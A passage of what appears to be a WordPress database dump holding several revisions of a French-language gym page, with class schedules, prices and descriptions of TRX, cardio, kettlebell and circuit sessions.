100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:35:39', '2013-07-03 16:35:39', '', 11, 'http://www.crosstrainingcenter.be/?p=172', 0, 'revision', '', 0),
(187, 1, '2013-07-03 17:33:38', '2013-07-03 17:33:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;\r\nEn semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:33:38', '2013-07-03 17:33:38', '', 11, 'http://www.crosstrainingcenter.be/?p=187', 0, 'revision', '', 0),
(174, 1, '2013-07-03 16:43:44', '2013-07-03 16:43:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr 